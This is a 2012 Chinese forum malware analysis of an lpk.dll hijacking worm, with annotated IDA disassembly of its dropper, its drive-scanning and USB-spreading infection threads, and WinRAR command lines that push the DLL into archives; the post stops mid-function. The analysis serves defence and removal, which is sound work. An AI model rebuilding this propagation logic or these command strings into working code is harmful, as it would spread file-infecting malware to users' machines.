首页
社区
课程
招聘
[原创]lpk.dll劫持病毒分析[附查杀工具及源码]
发表于: 2012-2-27 13:33 28130

[原创]lpk.dll劫持病毒分析[附查杀工具及源码]

2012-2-27 13:33
28130

【lpk.dll病毒/木马】分析报告

lpk病毒分析及查杀工具源码.zip

一、名词解释
        母体:指病毒主文件 (lpk.dll.v随包带)
        子体:指由母体从资源中释放出来的exe文件.
       
二、概述
        作者: MiTang
        时间: 2012-2-25
        样本来源:自己机器上已中标,就地取材.

                利用双休时间,我对该母体全面分析, 顺便提出了解决办法,附上查杀工具及源码,由于学习紧张,时间紧足没有对子体进行全面分析,故只上传了母体分析报告,肯定会有瑕疵的地方,希望提朋友纠正意见.上传作为一个足迹 .进入正题:

        当母体名称为lpk.dll时.利用与系统lpk.dll同名,造成含有edit控件的程序导入该库时被劫持.当程序需要系统                lpk.dll支持时,母体起到了一个中转作用.这些函数并没有挂钩.主要动作有如下2点:
       
        母体在入口点 通过一个有名称 的互斥对像, 仅一次 释放子体并启动它.

        2.母体入口点,最后做的工作: 获取系统lpk.dll如下函数填充到自己导出的同名函数中:
        LpkTabbedTextOut
        LpkDllInitialize
        LpkDrawTextEx
        LpkEditControl                //这步有特殊处理,是一组函数,而不是单个
        LpkExtTextOut
        LpkGetCharacterPlacement
        LpkGetTextExtentExPoint
        LpkInitialize
        LpkPSMTextOut
        LpkUseGDIWidthCache
        ftsWordBreak

        当母体文件名为其它名称,被程序加载时, 也做上面的第1,2步动作.还加了一步下面这步操作.
        1.母体在入口点 启动一个工作主线程工作行为,
           动作1. 扫描电脑上所有可感染的逻辑磁盘,针对每一个可感染的逻辑
                  磁盘启动一个感染线程去感染磁盘.
           条件触发: 每过两个小时,或逻辑磁盘发生变化时(如插入U盘时),重复动作1.
       
        2感染线程行为: 枚举逻辑盘上所有文件夹.
        只要发现该目录有exe存在且该目录没有母体时,就把当前母体复制过去.
        只要发现该目录有zip.或rar. 利用winrar 命令行参数方式,启动rar.exe 先检查压缩包内母体是否存,如果不存在        则把母体添加到压缩包内, 但是这一点作者没做好.在把母体打包时的目标压缩包的名称,与母体创建文件夹名称        冲突,造成无法打包.唉.

        整个程序下来,逻辑感觉好乱.
        注:随包 idb文件是ida6.1版本的;
       
       
       
       
三、清理方式
        1、对母体与子体提取文件特征码
        2、枚举系统所有目录,符合特征码即删除即可.
        3、对母体与子体提取内存特征,注入所有进程,枚举所有模块,符合特征关闭进程,再删除.
        当然在清理时,母体还在接着感染,所以要先对源头进行控制,在这里一种思路:
        因为母体是利用CopyFileW 将自身复制到目标文件夹中,可以先hook所有进程这个函数,对其传入的源文件作特征        检查.符合则拒绝.否则放行. 也可以由此得到作案进程信息强制关闭即可.

分析正文

这里只列出几个核心函数分析,详情在随包idb中
入口点:
; BOOL __stdcall DLLEntry (HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
    public dllpoint
dllpoint proc near

hLibModule= dword ptr  4
fdwReason= dword ptr  8
lpReserved= dword ptr  0Ch
arg_100020A8= dword ptr  100020ACh

    cmp     [esp+fdwReason], DLL_PROCESS_ATTACH
    push    esi
    jnz     short ELSE_IF

IF_DLL_PROCESS_ATTACH_:                 ; DLL_PROCESS_ATTACH 第一次加载dll时
    mov     esi, [esp+4+hLibModule]
    push    260                         ; nSize
    push    offset gszCurrentLpkPathName ; lpFilename
    push    esi                         ; hModule
    mov     ghModule, esi
    call    ds:GetModuleFileNameW       ; 获取当前母体目录完整路径,保存在全局变量中,于后面感染别的目录,作为源
    push    esi                         ; hLibModule
    call    ds:DisableThreadLibraryCalls                 ; The Disable DLL_THREAD_ATTACH  DLL_THREAD_DETACH notifications
    call    MyGetMutexNameTo_gszMutexName
    cmp     eax, TRUE
    jnz     short ISLPKDLL            
    call    IsMainModule_hrl_tmp                ;主模块是否是子体
    test    eax, eax
    jnz     short SKIP_HRL_TMP          ; 跳过子体

NOT_HRL_TMP:                         ; 主模块不是子体.
    call    MyCreateMutex
    test    eax, eax                    ; FALSE 表示第一次创建互体成功,TURE表示创建失败或互体已存在
    jnz     short SKIP_HRL_TMP
    call    ReleaseAndCreateProcess     ; 释放子体 exe并启动它,成功TURE,失败FALSE

SKIP_HRL_TMP:                           ; ...
    call    Is_CurrentModule_lpk_dll
    cmp     eax, TRUE                   ; 如果当前模块是lpk.dll则返回FALSE,否则返回TURE,母体可能被改名
    jnz     short                                                          ; 加载系统lpk.dll并获取所有导出函数地址

CurrentModuleIsNot_lpk_dll:                        ; lpName 母体文件名不为:lpk.dll 时
    push    NULL
    push    FALSE                       ; bInitialState
    push    eax                         ; bManualReset
    push    NULL                        ; lpEventAttributes
    call    ds:CreateEventW             ; 创建自动管理,初始无信号事件,作退出通知用
    mov     ghDllDetachEvent, eax
    test    eax, eax
    jz      short ISLPKDLL              ; 加载系统lpk.dll并获取所有导出函数地址
    call    Start_MainThreadProc        ; 创建主工线程并运行成功,则ghThread存放的是新线程的句柄,否则为NULL

ISLPKDLL:                               ;  lpName 母体文件名为:lpk.dll 时
    call    LoadSysLpkAndGetExportFunAddr ; 加载系统lpk.dll并获取所有导出函数地址
    jmp     short IF_END_
; ---------------------------------------------------------------------------

ELSE_IF:                                ; ...
    cmp     [esp+4+fdwReason], DLL_PROCESS_DETACH
    jnz     short ELSE

DLL_PROCESS_DETACH_:
    mov     eax, ghDllDetachEvent
    test    eax, eax
    jz      short ghEvenetIsNULL        ; 系统lpk.dll 有加载就释放掉
    push    eax                         ; hEvent
    call    ds:SetEvent                 ; 置ghEvent信号状态
    push    INFINITE                    ; dwMilliseconds
    push    ghMainThread                ; hHandle
    call    ds:WaitForSingleObject      ; 等ghMainThread线程退出,有信号就退出
    push    ghMainThread                ; hObject
    mov     esi, ds:CloseHandle         ; 开始释放资源
    call    esi ; CloseHandle
    push    ghDllDetachEvent            ; hObject
    call    esi ; CloseHandle

ghEvenetIsNULL:                         ; ...
    call    FreeSysLpkdll               ; 系统lpk.dll 有加载就释放掉

ELSE:                                   ; ...
    xor     eax, eax
    inc     eax

IF_END_:                                ; ...
    pop     esi
    retn    0Ch
dllpoint endp

功能: 释放子体并启动子体进程
; BOOL __cdecl ReleaseAndCreateProcess()
ReleaseAndCreateProcess proc near       ; ...

PathName= word ptr -26Ch
StartupInfo= _STARTUPINFOW ptr -64h
ProcessInformation= _PROCESS_INFORMATION ptr -20h
NumberOfBytesWritten= dword ptr -10h
lpBuffer= dword ptr -0Ch
nNumberOfBytesToWrite= dword ptr -8
bSuccess= dword ptr -4

    push    ebp
    mov     ebp, esp
    sub     esp, 620
    push    esi
    push    edi
    push    RT_RCDATA                  ; lpType
    push    102                         ; lpName
    push    ghModule                    ; hModule
    xor     esi, esi
    mov     [ebp+bSuccess], esi
    call    ds:FindResourceW            ; 子体放在母体资源中
    mov     edi, eax
    cmp     edi, esi
    jz      EXIT_FAIL
    push    edi                         ; hResInfo
    push    ghModule                    ; hModule
    call    ds:SizeofResource
    push    edi                         ; hResInfo
    push    ghModule                    ; hModule
    mov     [ebp+nNumberOfBytesToWrite], eax
    call    ds:LoadResource
    cmp     eax, esi
    jz      EXIT_FAIL
    cmp     [ebp+nNumberOfBytesToWrite], esi
    jz      EXIT_FAIL
    push    eax                         ; hResData
    call    ds:LockResource
    mov     [ebp+lpBuffer], eax         ; lpBuffer--> 子体exe数据
    cmp     eax, esi
    jz      EXIT_FAIL
    push    ebx
    lea     eax, [ebp+PathName]
    push    eax                         ; lpBuffer
    push    260                         ; nBufferLength
    call    ds:GetTempPathW
    lea     eax, [ebp+PathName]
    push    eax                         ; lpTempFileName
    push    esi                         ; uUnique
    push    offset PrefixString         ; "hrl"
    push    eax                         ; lpPathName
    call    ds:GetTempFileNameW         ; 指定子体 临时文件名为hrl* *号uUnique随机数字
    push    esi                         ; hTemplateFile
    push    esi                         ; dwFlagsAndAttributes
    push    2                           ; dwCreationDisposition
    push    esi                         ; lpSecurityAttributes
    xor     ebx, ebx
    inc     ebx
    push    ebx                         ; dwShareMode
    push    40000000h                   ; dwDesiredAccess
    lea     eax, [ebp+PathName]
    push    eax                         ; lpFileName
    call    ds:CreateFileW              ; 创建临时文件
    mov     edi, eax
    cmp     edi, 0FFFFFFFFh
    jz      short EXIT_FAIL1
    push    esi                         ; lpOverlapped
    lea     eax, [ebp+NumberOfBytesWritten]
    push    eax                         ; lpNumberOfBytesWritten
    push    [ebp+nNumberOfBytesToWrite] ; nNumberOfBytesToWrite
    mov     [ebp+NumberOfBytesWritten], esi
    push    [ebp+lpBuffer]              ; lpBuffer
    push    edi                         ; hFile
    call    ds:WriteFile                ; 将子体写到临时文件hrl*.tmp
    push    edi                         ; hObject
    mov     edi, ds:CloseHandle
    mov     [ebp+bSuccess], eax
    call    edi ; CloseHandle
    cmp     [ebp+bSuccess], ebx
    jnz     short EXIT_FAIL1
    push    44h
    lea     eax, [ebp+StartupInfo]
    push    eax
    call    ds:RtlZeroMemory
    xor     eax, eax
    mov     [ebp+StartupInfo.wShowWindow], ax
    lea     eax, [ebp+ProcessInformation]
    push    eax                         ; lpProcessInformation
    lea     eax, [ebp+StartupInfo]
    push    eax                         ; lpStartupInfo
    push    esi                         ; lpCurrentDirectory
    push    esi                         ; lpEnvironment
    push    esi                         ; dwCreationFlags
    push    esi                         ; bInheritHandles
    push    esi                         ; lpThreadAttributes
    push    esi                         ; lpProcessAttributes
    lea     eax, [ebp+PathName]
    push    eax                         ; lpCommandLine
    push    esi                         ; lpApplicationName
    mov     [ebp+StartupInfo.cb], 44h
    mov     [ebp+StartupInfo.dwFlags], ebx
    call    ds:CreateProcessW           ; 启动子体exe进程
    mov     [ebp+bSuccess], eax
    cmp     eax, ebx
    jnz     short EXIT_FAIL1
    push    [ebp+ProcessInformation.hThread] ; hObject
    call    edi ; CloseHandle
    push    [ebp+ProcessInformation.hProcess] ; hObject
    call    edi ; CloseHandle

EXIT_FAIL1:                             ; ...
    pop     ebx

EXIT_FAIL:                              ; ...
    mov     eax, [ebp+bSuccess]
    pop     edi                         ; 成功返回TURE,否则返回FALSE
    pop     esi
    leave
    retn
ReleaseAndCreateProcess endp

功能: 动作1:扫描电脑上所有可感染的逻辑磁盘,针对每一个可感染的逻辑磁盘启动一个感染线程去感染磁盘.
         条件触发: 每过两个小时,或逻辑磁盘发生变化时(如插入U盘时),重复动作1.
; DWORD __stdcall MainThreadProc(LPVOID)
MainThreadProc proc near                ; ...

nDriverCount= dword ptr -0C4h
hThreadArray= dword ptr -0C0h
lpBuff= byte ptr -60h

    sub     esp, 0C4h
    push    ebx
    push    ebp
    push    esi
    push    edi                         ; 以上保存环境
    push    60h
    lea     eax, [esp+0D8h+lpBuff]
    push    eax
    xor     edi, edi                    ; EDI = 0 存放线程ThreadProc1句柄数组下标
    call    ds:RtlZeroMemory            ; RtlZeroMemory(lpBuff,0x60)

WHILE_BEGIN:                            ; ...
    push    2
    pop     ebx                         ; ebx = 2开始,检测目标所有存储器是否可感染
    lea     ebp, [esp+0D4h+lpBuff]              ; ebp->lpBuff
    mov     [esp+0D4h+nDriverCount], 24

FOR1_BEGING:                            ; ...
    cmp     dword ptr [ebp+0], 1
    jz      short FOR1_STEP             ; 下一个磁盘标号
    push    ebx                         ; iDrive
    call    ds:DriveType                ; 读取存储器类型
    add     eax, 0FFFFFFFEh
    cmp     eax, 2                      ; 是否可感染
    ja      short FOR1_STEP             ; 不可感染则下一个磁盘
    xor     eax, eax
    push    eax                         ; lpThreadId
    push    4                           ; dwCreationFlags
    push    ebx                         ; lpParameter
    push    offset InfectThreadProc                     ; lpStartAddress 感染线程
    push    eax                         ; dwStackSize
    push    eax                         ; lpThreadAttributes
    call    ds:CreateThread                                ;针对本磁盘启动感染线程
    lea     esi, [esp+edi*4+0D4h+hThreadArray] ; 保存线程句柄到数组中
    mov     [esi], eax
    test    eax, eax
    jz      short FOR1_STEP             ; 下一个磁盘标号
    push    THREAD_PRIORITY_IDLE        ; nPriority
    push    eax                         ; hThread
    call    ds:SetThreadPriority
    cmp     eax, 1
    jnz     short FAIL
    push    dword ptr [esi]             ; hThread
    call    ds:ResumeThread
    cmp     eax, 0FFFFFFFFh
    jz      short FAIL                  ; 线程句柄数组下标++
    inc     edi
    mov     dword ptr [ebp+0], TRUE     ; 操作成功
    jmp     short FOR1_STEP             ; 下一个磁盘标号
; ---------------------------------------------------------------------------

FAIL:                                   ; ...
    push    0                           ; dwExitCode
    push    dword ptr [esi]             ; hThread
    call    ds:TerminateThread

FOR1_STEP:                              ; ...
    inc     ebx                         ; 下一个磁盘标号
    add     ebp, 4
    dec     [esp+0D4h+nDriverCount]
    jnz     short FOR1_BEGING
    xor     esi, esi
    cmp     edi, esi                    ; edi 成功启动感染线程数,如果为0再尝试一次
    jz      short WHILE_CMP
    push    esi                         ; dwMilliseconds
    push    TRUE                        ; bWaitAll
    lea     eax, [esp+0DCh+hThreadArray]
    push    eax                         ; lpHandles
    push    edi                         ; nCount
    call    ds:WaitForMultipleObjects   ; WaitForMultipleObjects(nCount, hThreadArray, TRUE, 0)
    cmp     eax, WAIT_TIMEOUT
    jz      short WHILE_CMP             ; 所有感染线程是否执行完毕,如果是就释放所有句柄,否则不管了.
    push    60h
    lea     eax, [esp+0D8h+lpBuff]
    push    eax
    call    ds:RtlZeroMemory
    test    edi, edi
    jbe     short WHILE1_END            ; 如果感染线程大于0,并完全退出,则关闭所有线程句柄

WHILE1_BEGING:                          ; ...
    push    [esp+esi*4+0D4h+hThreadArray] ; hObject
    call    ds:CloseHandle
    inc     esi
    cmp     esi, edi
    jb      short WHILE1_BEGING

WHILE1_END:                             ; ...
    xor     edi, edi

WHILE_CMP:                              ; ...
    call    IsContinueInfection
    cmp     eax, TRUE                   ; 如果主程序运行两小时之多,就是没有dll_detach信号退出或逻辑磁盘发生变化时返回真,继教重新感染
    jz      WHILE_BEGIN
    test    edi, edi
    jz      short EXIT                  ; 最后一次感染线程数不为0
    push    INFINITE                    ; dwMilliseconds
    push    1                           ; bWaitAll
    lea     eax, [esp+0DCh+hThreadArray]
    push    eax                         ; lpHandles
    push    edi                         ; nCount
    call    ds:WaitForMultipleObjects   ;  WaitForMultipleObjects(nCount, hThreadArray, TRUE,  INFINITE)
    xor     esi, esi                    ; 等待所有感染线程退出
    test    edi, edi
    jbe     short EXIT

loc_100019CC:                           ; ...
    push    [esp+esi*4+0D4h+hThreadArray] ; hObject
    call    ds:CloseHandle
    inc     esi
    cmp     esi, edi
    jb      short loc_100019CC          ; 释放所有线程句柄

EXIT:                                   ; ...
    pop     edi
    pop     esi
    pop     ebp
    pop     ebx
    add     esp, 0C4h
    retn
MainThreadProc endp

功能:枚举逻辑盘上所有文件夹.
        只要发现该目录有exe存在且该目录没有母体时,就把当前母体复制过去.
        只要发现该目录有zip.或rar. 利用winrar 命令行参数方式,启动rar.exe 先检查压缩包内母体是否存,如果不存在        则把母体添加到压缩包内, 但是这一点作者没做好.在把母体打包时的目标压缩包的名称,与母体创建文件夹名称冲突
InfectThreadProc proc near              ; ...

FindFileData= _WIN32_FIND_DATAW ptr -668h
lpszDestDriverPath= word ptr -418h
lpszDestFilePathName= word ptr -210h
hFindFile= dword ptr -8
var_4= dword ptr -4
lpArg= dword ptr  8

    push    ebp
    mov     ebp, esp
    sub     esp, 1640
    push    ebx
    push    0                           ; dwMilliseconds
    push    ghDllDetachEvent            ; hHandle
    xor     ebx, ebx
    inc     ebx
    mov     [ebp+var_4], ebx
    call    ds:WaitForSingleObject
    cmp     eax, WAIT_TIMEOUT
    jz      short WORK                  ; DLL_DETACH 直接退出,否则做些事情
    xor     eax, eax
    jmp     EXIT
; ---------------------------------------------------------------------------

WORK:                                   ; ...
    push    esi
    mov     esi, ds:lstrcpyW
    push    edi
    mov     edi, [ebp+lpArg]
    lea     eax, [ebp+lpszDestDriverPath]
    cmp     edi, 100h                   ; lpArg小于100h就是盘符id,大于则是文件名完整路径指针
    jnb     short ARGISFILENAMEPATH
    push    offset gszA                 ; "A:\\"
    push    eax                         ; lpString1
    call    esi ; lstrcpyW
    add     [ebp+lpszDestDriverPath], di ; 以A盘为盘符基址,加上盘符ID,得到目标盘符路径
    jmp     short loc_100016D1
; ---------------------------------------------------------------------------

ARGISFILENAMEPATH:                      ; ...
    push    edi                         ; lpString2
    push    eax                         ; lpString1
    call    esi ; lstrcpyW              ; lpszDestDriverPath = lpArg

loc_100016D1:                           ; ...
    lea     eax, [ebp+lpszDestDriverPath]
    push    eax                         ; lpString2
    lea     eax, [ebp+lpszDestFilePathName]
    push    eax                         ; lpString1
    call    esi ; lstrcpyW
    mov     edi, ds:PathAppendW
    push    offset gszAll               ; pMore
    lea     eax, [ebp+lpszDestDriverPath]
    push    eax                         ; pszPath
    call    edi ; PathAppendW           ; lpszDestDriverPath 填加通配符 如: C:\*
    lea     eax, [ebp+FindFileData]
    push    eax                         ; lpFindFileData
    lea     eax, [ebp+lpszDestDriverPath]
    push    eax                         ; lpFileName
    call    ds:FindFirstFileW
    mov     [ebp+hFindFile], eax        ; 返回一个搜索句柄
    cmp     eax, -1
    jnz     short FIND_SUCCESS          ; 查找失败,直退退出
    mov     eax, ebx
    jmp     EXIT1
; ---------------------------------------------------------------------------

FIND_SUCCESS:                           ; ...
    lea     eax, [ebp+lpszDestFilePathName]
    push    eax                         ; lpString2
    lea     eax, [ebp+lpszDestDriverPath]
    push    eax                         ; lpString1
    call    esi ; lstrcpyW
    mov     ebx, ds:lstrcmpiW           ; lpszDestDriverPath = lpszDestFilePathNam

WHILE_BEGING_FINDNEXTFILE:              ; ...
    push    offset gszPoint             ; "."
    lea     eax, [ebp+FindFileData.cFileName]
    push    eax                         ; lpString1
    call    ebx ; lstrcmpiW             ; 比较文件名是否是  .  特殊文件
    test    eax, eax
    jz      WHILE_CMP_FINDNEXTFILE
    push    offset a__                  ; ".."
    lea     eax, [ebp+FindFileData.cFileName]
    push    eax                         ; lpString1
    call    ebx ; lstrcmpiW             ; 比较文件名是否是  ..  特殊文件
    test    eax, eax
    jz      WHILE_CMP_FINDNEXTFILE
    test    byte ptr [ebp+FindFileData.dwFileAttributes], FILE_ATTRIBUTE_DIRECTORY
    jz      short THISISFILE            ; 判断是否目录

DIRECTORY:                              ; dwMilliseconds
    push    20
    push    ghDllDetachEvent            ; hHandle
    call    ds:WaitForSingleObject
    cmp     eax, WAIT_TIMEOUT
    jnz     short DLL_DETACH_SIGNAL     ; 接到程序关闭通知
    lea     eax, [ebp+lpszDestDriverPath]
    push    eax                         ; lpString2
    lea     eax, [ebp+lpszDestFilePathName]
    push    eax                         ; lpString1
    call    esi ; lstrcpyW
    lea     eax, [ebp+FindFileData.cFileName]
    push    eax                         ; pMore
    lea     eax, [ebp+lpszDestFilePathName]
    push    eax                         ; pszPath
    call    edi ; PathAppendW
    lea     eax, [ebp+lpszDestFilePathName]
    push    eax                         ; LPVOID
    call    InfectThreadProc            ; 目录递归操作
    test    eax, eax
    jnz     WHILE_CMP_FINDNEXTFILE

DLL_DETACH_SIGNAL:                      ; ...
    and     [ebp+var_4], 0

EXIT_FREE:                              ; ...
    push    [ebp+hFindFile]             ; hFindFile
    call    ds:FindClose
    mov     eax, [ebp+var_4]

EXIT1:                                  ; ...
    pop     edi
    pop     esi

EXIT:                                   ; ...
    pop     ebx
    leave
    retn    4
; ---------------------------------------------------------------------------

THISISFILE:                             ; ...
    lea     eax, [ebp+FindFileData.cFileName]
    push    eax                         ; pszPath
    call    ds:PathFindExtensionW
    mov     [ebp+lpArg], eax            ; 保存文件名的扩展名 如 .rar
    test    eax, eax
    jz      WHILE_CMP_DLLDETACH_SIGNAL
    push    offset gszExe               ; ".EXE"
    push    eax                         ; lpString1
    call    ebx ; lstrcmpiW             ; 是否是exe文件
    test    eax, eax
    jnz     short ELSE_IF

FILE_IS_EXE:                            ; 在当前exe目录,放一个lpk.dll
    lea     eax, [ebp+lpszDestDriverPath]
    push    eax                         ; lpString2
    lea     eax, [ebp+lpszDestFilePathName]
    push    eax                         ; lpString1
    call    esi ; lstrcpyW
    push    offset gszLpk_dll           ; "lpk.dll"
    lea     eax, [ebp+lpszDestFilePathName]
    push    eax                         ; pszPath
    call    edi ; PathAppendW           ; lpszDestFilePathName = 如 c:\11\lpk.dll
    lea     eax, [ebp+lpszDestFilePathName]
    push    eax                         ; lpFileName
    call    ds:GetFileAttributesW
    cmp     eax, INVALID_FILE_ATTRIBUTES
    jnz     WHILE_CMP_FINDNEXTFILE      ; 已存在lpk.dll跳过
    push    1                           ; bFailIfExists
    lea     eax, [ebp+lpszDestFilePathName]
    push    eax                         ; lpNewFileName
    push    offset gszCurrentLpkPathName ; lpExistingFileName
    call    ds:CopyFileW                ; 从把当lpk.dll复制到目标文件夹中,只是有可能感染目标文件夹中的exe
    push    FILE_ATTRIBUTE_READONLY or FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_SYSTEM ; dwFileAttributes
    lea     eax, [ebp+lpszDestFilePathName]
    push    eax                         ; lpFileName
    call    ds:SetFileAttributesW       ; 并把目标lpk.dll为隐藏系统等属性

ELSE_IF:                                ; ...
    push    offset gszRar               ; ".RAR"
    push    [ebp+lpArg]                 ; lpString1
    call    ebx ; lstrcmpiW
    test    eax, eax
    jz      short FILE_IS_RAR_OR_ZIP
    push    offset gszZip               ; ".ZIP"
    push    [ebp+lpArg]                 ; lpString1
    call    ebx ; lstrcmpiW
    test    eax, eax
    jnz     short WHILE_CMP_DLLDETACH_SIGNAL

FILE_IS_RAR_OR_ZIP:                     ; ...
    cmp     [ebp+FindFileData.nFileSizeHigh], 0
    jnz     short WHILE_CMP_DLLDETACH_SIGNAL
    cmp     [ebp+FindFileData.nFileSizeLow], 52428800
    jnb     short WHILE_CMP_DLLDETACH_SIGNAL ; 只要目标 .rar 或 .zip 超过413M 则跳走
    lea     eax, [ebp+lpszDestDriverPath]
    push    eax                         ; lpString2
    lea     eax, [ebp+lpszDestFilePathName]
    push    eax                         ; lpString1
    call    esi ; lstrcpyW
    lea     eax, [ebp+FindFileData.cFileName]
    push    eax                         ; pMore
    lea     eax, [ebp+lpszDestFilePathName]
    push    eax                         ; pszPath
    call    edi ; PathAppendW
    lea     eax, [ebp+lpszDestFilePathName]
    push    eax                         ; lpFilePathName
    call    AddLpkDllToZipRar                                ;将母体添加到压缩包,但作者一些错误导致白忙会
    pop     ecx

WHILE_CMP_DLLDETACH_SIGNAL:             ; ...
    push    20                          ; dwMilliseconds
    push    ghDllDetachEvent            ; hHandle
    call    ds:WaitForSingleObject
    cmp     eax, WAIT_TIMEOUT
    jnz     DLL_DETACH_SIGNAL

WHILE_CMP_FINDNEXTFILE:                 ; ...
    lea     eax, [ebp+FindFileData]
    push    eax                         ; lpFindFileData
    push    [ebp+hFindFile]             ; hFindFile
    call    ds:FindNextFileW
    cmp     eax, 1                      ; 比较有问题,FindNextFile成功返回是非0,不一定是1
    jz      WHILE_BEGING_FINDNEXTFILE
    jmp     EXIT_FREE
InfectThreadProc endp

功能:利用winrar 命令行参数方式,启动rar.exe 先检查压缩包内母体是否存,如果不存在        则把母体添加到压缩包内, 但是这一点作者没做好.在把母体打包时的目标压缩包的名称,与母体创建文件夹名称冲突,造成无法打包.唉.
AddLpkDllToZipRar proc near             ; ...
CommandLine= word ptr -824h
PathName= word ptr -414h
FileName= word ptr -20Ch
String2= word ptr -20Ah
var_4= dword ptr -4
lpFilePathName= dword ptr  8

    push    ebp
    mov     ebp, esp
    sub     esp, 824h
    lea     eax, [ebp+var_4]
    push    eax
    lea     eax, [ebp+FileName]
    push    eax
    push    0
    push    2
    push    0
    push    offset aWinrarShellOpe      ; "WinRAR\\shell\\open\\command"
    push    80000000h
    mov     [ebp+var_4], 208h
    call    ds:SHRegGetValueW           ; 获取winrar rar.exe 路径
    test    eax, eax
    jnz     EXIT                        ; 没有安装winrar则直接退出
    cmp     [ebp+FileName], '"'
    setnz   al
    test    eax, eax
    jnz     loc_100015FC
    lea     eax, [ebp+String2]
    push    eax                         ; lpString2
    lea     eax, [ebp+FileName]
    push    eax                         ; lpString1
    call    ds:lstrcpyW
    mov     eax, offset Srch            ; "\""

loc_10001490:                           ; ...
    push    eax                         ; lpSrch
    lea     eax, [ebp+FileName]
    push    eax                         ; lpFirst
    call    ds:StrStrIW
    test    eax, eax
    jz      EXIT
    xor     ecx, ecx
    mov     [eax], cx
    lea     eax, [ebp+FileName]
    push    eax                         ; pszPath
    call    ds:PathRemoveFileSpecW
    push    offset pMore                ; "rar.exe"
    lea     eax, [ebp+FileName]
    push    eax                         ; pszPath
    call    ds:PathAppendW
    lea     eax, [ebp+FileName]
    push    eax                         ; lpFileName
    call    ds:GetFileAttributesW
    cmp     eax, INVALID_FILE_ATTRIBUTES
    jz      EXIT
    push    esi
    push    edi
    lea     eax, [ebp+FileName]
    push    eax                         ; pszLongPath
    call    ds:PathGetShortPath         ; 得到 rar.exe 绝对路径
    lea     eax, [ebp+PathName]
    push    eax                         ; lpBuffer
    push    104h                        ; nBufferLength
    call    ds:GetTempPathW             ; 获取临时路径
    lea     eax, [ebp+PathName]
    push    eax                         ; lpTempFileName
    call    ds:GetCurrentThreadId       ; 线程id
    push    eax                         ; uUnique
    push    offset aIrar                ; "IRAR"
    lea     eax, [ebp+PathName]
    push    eax                         ; lpPathName
    call    ds:GetTempFileNameW         ; 获取临时文件夹路径
    mov     esi, ds:wsprintfW
    lea     eax, [ebp+PathName]
    push    eax
    push    [ebp+lpFilePathName]
    lea     eax, [ebp+FileName]
    push    eax
    lea     eax, [ebp+CommandLine]
    push    offset aCmdCSVbSLpk_dl      ; "cmd /c %s vb \"%s\" lpk.dll|find /i \"lpk."...
    push    eax                         ; LPWSTR
    call    esi ; wsprintfW             ; 拼接winrar 执行参数如:..
                                        ;  // cmd /c C:\PROGRA~1\WinRAR\rar.exe vb "D:\a.zip" lpk.dll|find /i "lpk.dll"
                                        ;  //完成功能:查找目标winrar  D:\a.zip 中是否存在lpk.dll
    mov     edi, 0EA60h
    lea     eax, [ebp+CommandLine]
    push    edi                         ; dwMilliseconds
    push    eax                         ; lpCommandLine
    call    ExcuteCmd                   ; 执行上面命令
    add     esp, 1Ch
    test    eax, eax
    jz      EXIT_OPERATOR_FAIL
    lea     eax, [ebp+PathName]
    push    eax
    push    [ebp+lpFilePathName]
    lea     eax, [ebp+FileName]
    push    eax
    lea     eax, [ebp+CommandLine]
    push    offset aSXS_exeS            ; "\"%s\" x \"%s\" *.exe \"%s\\\""
    push    eax                         ; LPWSTR
    call    esi ; wsprintfW
    lea     eax, [ebp+CommandLine]
    push    1D4C0h                      ; dwMilliseconds
    push    eax                         ; lpCommandLine
    call    ExcuteCmd                   ; //拼接命令,如:
                                        ; //C:\PROGRA~1\WinRAR\rar.exe x D:\a.zip *.exe C:\Temp\IRA478.tmp\
                                        ; //完成功能: 解压源文件a.zip 所有exe  解压到C:\Temp\IRA478.tmp\
    add     esp, 1Ch
    lea     eax, [ebp+PathName]
    push    eax                         ; LPVOID
    call    InfectThreadProc            ; 解压之后,把这个目录C:\Temp\IRA478.tmp\ 传给感染线程函数再次去感染
    lea     eax, [ebp+PathName]
    push    eax
    push    [ebp+lpFilePathName]
    push    eax
    lea     eax, [ebp+FileName]
    push    eax
    lea     eax, [ebp+CommandLine]
    push    offset aSAREp1SSSLpk_d      ; "\"%s\" a -r -ep1\"%s\" \"%s\" \"%s\\lpk.dll\""
    push    eax                         ; LPWSTR
    call    esi ; wsprintfW
    lea     eax, [ebp+CommandLine]
    push    3A980h                      ; dwMilliseconds
    push    eax                         ; lpCommandLine
    call    ExcuteCmd                   ; //C:\PROGRA~1\WinRAR\rar.exe a -r -ep1 C:\Temp\IRA478.tmp D:\a.zip C:\Temp\IRAF60.tmp\lpk.dll
                                        ; //经过多次测试,这条语句不仅winrar语法上有误(这点可能跟版本有关),还有一点要压缩的文件名,跟上面
                                        ; //的解压时文件夹名称冲突,造成系统拒绝访问
                                        ; //过不了系统检查这关,猜测作者是想,把目标的rar文件中的所有exe解压出来,附上lpk.dll再打包回去,
                                        ; //唉,太麻烦了.直接往目标压缩包中添加一个lpk.dll不就行了啊
    lea     eax, [ebp+PathName]
    push    eax
    lea     eax, [ebp+CommandLine]
    push    offset aCmdCRdSQS           ; "cmd /c RD /s /q \"%s\""
    push    eax                         ; LPWSTR
    call    esi ; wsprintfW
    lea     eax, [ebp+CommandLine]
    push    edi                         ; dwMilliseconds
    push    eax                         ; lpCommandLine
    call    ExcuteCmd                   ; //cmd /c RD /s /q "C:\Temp\IRA478.tmp"
                                        ; //完成功能:cmd 命令 删除指定目录 ,结合上面功能,这一圈下来啥也没做啊.假如他winrar语法正确,
                                        ; //再假如他没有文件名上的冲突,目标d:\a.zip也没有影响啊. 这段函数,花费了我分析整 个lpk 1/4的时间
                                        ; //结果一场空啊,函数没有做到有意义的事情.瞎忙会.
    add     esp, 34h

EXIT_OPERATOR_FAIL:                     ; ...
    pop     edi
    pop     esi

EXIT:                                   ; ...
    leave
    retn
; ---------------------------------------------------------------------------

loc_100015FC:                           ; ...
    mov     eax, offset asc_100021E8    ; " "
    jmp     loc_10001490
AddLpkDllToZipRar endp

LoadSysLpkAndGetExportFunAddr proc near ; ... 加载系统lpk.dll并获取系统lpk导出函数地址
LibFileName= word ptr -208h

    push    ebp
    mov     ebp, esp
    sub     esp, 208h
    push    104h                        ; uSize
    lea     eax, [ebp+LibFileName]
    push    eax                         ; lpBuffer
    call    ds:GetSystemDirectoryW
    push    offset String2              ; "\\lpk"
    lea     eax, [ebp+LibFileName]
    push    eax                         ; lpString1
    call    ds:lstrcatW
    lea     eax, [ebp+LibFileName]
    push    eax                         ; lpLibFileName
    call    ds:LoadLibraryW
    mov     ghSyslpk, eax
    test    eax, eax
    jz      short FAIL
